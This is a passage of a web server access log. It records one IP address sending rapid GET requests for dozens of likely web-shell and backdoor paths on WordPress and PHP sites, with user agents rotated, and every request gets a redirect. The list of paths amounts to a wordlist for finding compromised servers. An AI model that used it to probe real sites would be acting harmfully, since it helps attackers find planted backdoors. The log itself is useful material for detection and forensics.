10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:24:15 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:15 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:15 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:15 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:24:15 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:16 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:16 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:16 -0400] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:16 -0400] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:17 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:17 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:24:17 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:17 -0400] "GET /phpzipincs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:18 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:18 -0400] "GET /css/wp-casper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:24:18 -0400] "GET /cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:18 -0400] "GET /assets/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:24:19 -0400] "GET /wp-content/plugins/wp-doft/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:19 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:19 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:19 -0400] "GET /Kenneth.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:24:19 -0400] "GET /Rosette.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:20 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:24:20 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:20 -0400] "GET /service.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:20 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:21 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:21 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:21 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:24:21 -0400] "GET /kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:21 -0400] "GET /wp-content/themes/cay-van-phong/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:22 -0400] "GET /wp-content/plugins/devvn-quick-buy/kevinpngjpg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:22 -0400] "GET /wp-content/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:24:22 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:22 -0400] "GET /profile.php6 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:23 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:23 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:23 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:24:23 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:23 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:24 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:24 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:24 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:24 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:24 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:25 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:25 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:25 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:25 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:25 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:24:26 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:26 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:24:26 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:26 -0400] "GET /wp-includes/random_compat/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:26 -0400] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:27 -0400] "GET /plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:27 -0400] "GET /themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:24:27 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:24:27 -0400] "GET /pgs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:27 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:28 -0400] "GET /images/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:24:28 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:28 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:28 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:28 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:29 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:29 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 156.146.33.80 - - [25/Apr/2025:11:24:29 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:29 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:29 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:30 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:24:30 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:30 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:30 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:30 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:31 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:31 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:31 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:31 -0400] "GET /css/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:32 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:32 -0400] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:32 -0400] "GET /checkbex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:24:32 -0400] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:32 -0400] "GET /wp-includes/class-wp-smtp-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:32 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:33 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:33 -0400] "GET /cgi-bin/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:33 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:24:33 -0400] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:34 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:34 -0400] "GET /.well-known/acme-challenge/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:24:34 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:24:34 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:34 -0400] "GET /wp-content/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:35 -0400] "GET /tong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:35 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:35 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:35 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:35 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:36 -0400] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:36 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:36 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 156.146.33.80 - - [25/Apr/2025:11:24:36 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:36 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:37 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 156.146.33.80 - - [25/Apr/2025:11:24:37 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:24:37 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:24:37 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:38 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:24:38 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:24:38 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:24:38 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:24:38 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 156.146.33.80 - - 